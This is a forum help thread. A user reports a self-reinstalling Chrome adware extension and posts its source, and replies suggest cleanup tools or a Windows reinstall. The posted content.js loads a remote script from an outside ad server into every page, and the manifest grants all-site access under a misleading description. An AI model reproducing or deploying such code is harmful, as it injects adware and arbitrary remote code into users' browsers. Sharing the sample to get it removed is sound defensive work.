So this chrome extension installed itself about a month ago or so:

Every time I delete the folder, it just reinstalls itself a couple hours later. It's some nasty adware that has popups and shows that highlighted text everywhere.
Like this:

Contents of the folder:
[B]content.js[/B]
[CODE]if (document) {
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = 'https://softwaretrend.net/resources.php?u=ee9031d27314b5eae196b0bf736ee475&c=ext-ch-gpupdater&e=ch';
document.getElementsByTagName('head')[0].appendChild(script);
console.log('log');
}[/CODE]
[B]manifest.json[/B]
[CODE]{
"name":"ee9031d27314b5eae196b0bf736ee475_2",
"version":"0.1",
"manifest_version":2,
"description":"Improves browsing experience",
"content_scripts": [
{
"matches": ["https://*/*", "http://*/*"],
"js": ["content.js"],
"run_at": "document_end"
}
],
"permissions":[
"contextMenus",
"tabs",
"http://*/*",
"https://*/*"
],
"icons":{}
}
[/CODE]
Help is appreciated!
Does it occur in other browsers? Try Edge, you're sure as hell at risk continuing to use logins on infected chrome. Might be time to back up and reinstall Windows if you've had it for a month, it definitely could've gotten anywhere in the system in that kind of time.
Only in chrome.
I agree with chip, it'd be in your best interest to just reinstall Windows.
Damn that's disappointing haha.
I made that post before you replied. So... Since it's only in Chrome, I'd check and see if there's any addons installed.
The adware is a chrome extension.
Before reinstalling windows, you could run Combofix*. I'm not sure if it removes adware these days but it's extremely agressive nonetheless.
*Disclaimer: Has a possibility of bricking your installation
I want to avoid any briking :pudge:

I'll back up some important files and see if combofix will work.
At least you're smart enough to back up without anyone telling you too.
yeah XD
If you can't find any extensions in chrome, trying removing it with revo uninstaller then reinstalling it.
I ended up reinstalling Windows, thanks for the help guys.
I'm horrified none of you suggested adwcleaner, that detects and kills shit like this.

Techy type people don't usually suffer from aware issues so honestly reinstall windows is the answer.
When a family members computer had an adware issue somewhat similar to this, mbam seemed to get rid of it. Reinstalling Windows is good peace of mind though.

Nothing cleans an issue better than nuclear warfare
Adwcleaner and JRT are great. Combofix only supports Windows 7, (Supposedly 8.)
